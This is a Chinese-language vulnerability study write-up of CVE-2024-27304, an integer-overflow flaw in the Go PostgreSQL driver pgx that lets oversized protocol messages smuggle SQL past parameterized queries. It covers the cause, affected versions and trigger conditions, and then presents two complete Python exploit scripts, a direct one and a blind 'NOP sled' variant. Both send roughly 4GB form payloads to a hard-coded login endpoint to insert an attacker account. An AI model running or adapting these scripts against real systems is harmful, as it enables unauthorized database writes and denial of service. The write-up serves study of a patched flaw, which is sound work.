CVE-2024-27304 Pgproto3 SQL注入漏洞学习
序言
在学习 SRC 漏洞挖掘的过程中,经常会看到一些云产品、数据库中间件、API 网关类的目标。这类目标应用层防护往往比较完善,传统 Web 漏洞不容易打进去,于是攻击面就下沉到了协议层、驱动层。
CVE-2024-27304 :漏洞不在业务代码里,而在 Go 的 PostgreSQL 驱动 pgx 对协议消息长度的处理上。由于现在很多网站都使用了参数化查询,传统的 SQL 注入基本已经被防住了,但这个漏洞正好可以绕过参数化查询——攻击者通过构造超过 4GB 的超大协议消息,利用 int32 截断溢出,把一条完整的恶意 SQL “夹带”进原本合法的请求中,实现协议层 SQL 注入。
具体详情视频:https://www.youtube.com/watch?v=Tfg1B8u1yvE
漏洞概述
该漏洞影响了 pgx 这一流行的 PostgreSQL 驱动程序和 Go 语言开发工具包。该漏洞源于在处理大小超过 4GB 的消息时出现的整数溢出问题。当攻击者能够使某个查询或消息的大小超过这个阈值时,由于在计算消息大小时会发生整数溢出,攻击者就可以将一条大型消息拆分成多条消息来发送,从而实现 SQL 注入攻击。
漏洞本质:通过发送一个超过 4GB 的极端大的数据库协议消息,利用 pgx 驱动在处理消息长度时的整数溢出漏洞,将本应是一个整体的消息截断成多个,从而在协议层带上一条完整的恶意 SQL 查询进去。
漏洞原理
协议消息长度溢出 PostgreSQL 的通信协议采用 Type-Length-Value 格式,其中 Length 是一个 4 字节 的有符号整数(int32),能表示的最大值是 2^32 - 1(约 4GB)。
pgx 驱动在构造消息时,内部用 64 位的 int 计算长度,但最终写入 Length 字段时被截断成 int32。如果攻击者设法让一个消息的长度超过 4GB,比如 4GB + 少量字节,截断后就变成一个很小的数值(例如 4GB 对应 0xFFFFFFFF,再加 1 截断后就变成 0)。
受影响的版本
pgx v5 受影响区间:>= 5.0.0, < 5.5.4 pgx v4 受影响区间:< 4.18.2
漏洞利用触发条件
漏洞利用取决于 pgx 执行 SQL 时发送给数据库服务器的消息格式。默认情况下,pgx 发送一个预备语句 P(Parse) ,然后发送参数 B(Bind) 。
如果设置了以下配置,pgx 会发送插值查询,后 Q(Query) :
cfg.ConnConfig.DefaultQueryExecMode = pgx.QueryExecModeSimpleProtocol
pgx 默认走扩展协议(Parse/Bind),参数单独发送,很难构造单一超长消息;而 SimpleProtocol 模式会把用户输入直接拼接进 SQL 字符串,再作为一条 Query 消息发给数据库。

漏洞靶场复现过程
声明:
1、要成功利用该漏洞,需要大量的内存资源。本文章过程,自己购买服务器搭建复现
2、该漏洞利用程序会发送极其庞大的数据包,可能导致拒绝服务攻击。切勿在第三方系统上使用该漏洞利用程序。切勿用于非法用途!
漏洞靶场地址:
https://github.com/roaris/CVE-2024-27304-PoC
可以看到漏洞靶场中,使用了参数化查询,传统很难绕过

访问靶场,为登陆页面


在传统手法中,由于靶场使用了参数化查询,没有办法绕过。
利用协议攻击CVE-2024-27304 Pgproto3 sql注入绕过,从而执行sql语句
利用攻击脚本进行绕过执行
Q_simple.py
import requests
import urllib.parse
query = b'INSERT INTO users(name, password) VALUES($$attacker$$, $$pass$$)'
query += b'\x00'
length = (len(query) + 4).to_bytes(4, 'big')
query_message = b'Q' + length + query
"""
number of characters following in the query + 1
SELECT COUNT(*) FROM users WHERE name = '...' AND password = 'abc'
<--- 22 chars --->
"""
adjust_size = 23
malicious_name = urllib.parse.quote(query_message) + 'A' * ((1<<32) - adjust_size - len(query_message))
payload = f'name={malicious_name}&password=abc'
print(f'Sending payload... (payload length: {len(payload)} B)')
res = requests.post(
'http://43.135.25.156:8000/login',
headers={'Content-Type': 'application/x-www-form-urlencoded'},
data=payload,
)
print('Done')
该脚本直接往数据库中插入一条数据,创建了一个攻击者的账号
INSERT INTO users(name, password) VALUES($$attacker$$, $$pass$$)
运行exploit脚本过程,由于发送大量数据,需要等待很长时间

攻击完成之后,使用创建好的账号登录

成功利用协议攻击,绕过参数化查询,进而sql注入
如果是在黑盒环境下,由于不知道后端的SQL格式,算不出精确的 adjust_size
使用Q_nop_sled.py脚本,该脚本会使用大量空 Query 消息(Q\x00\x00\x00\x04,长度 4,无实际 SQL),后面接真正的恶意 query_message。无论溢出点落在哪里,都有大概率让数据库解析到恶意消息。前面加 b’A’ * i 做偏移,循环 5 次,每次偏移不同
Q_nop_sled.py
import requests
import urllib.parse
nop_message = b'Q\x00\x00\x00\x04'
query = b'INSERT INTO users(name, password) VALUES($$attacker$$, $$pass$$)'
query += b'\x00'
length = (len(query) + 4).to_bytes(4, 'big')
query_message = b'Q' + length + query
for i in range(5):
base_message = b'A' * i + nop_message * 1000 + query_message
malicious_name = urllib.parse.quote(base_message) + 'A' * ((1<<32) - len(base_message))
payload = f'name={malicious_name}&password=a'
print(f'Sending payload... (payload length: {len(payload)} B)')
requests.post(
'http://43.135.25.156:8000/login',
headers={'Content-Type': 'application/x-www-form-urlencoded'},
data=payload,
)
print('Done')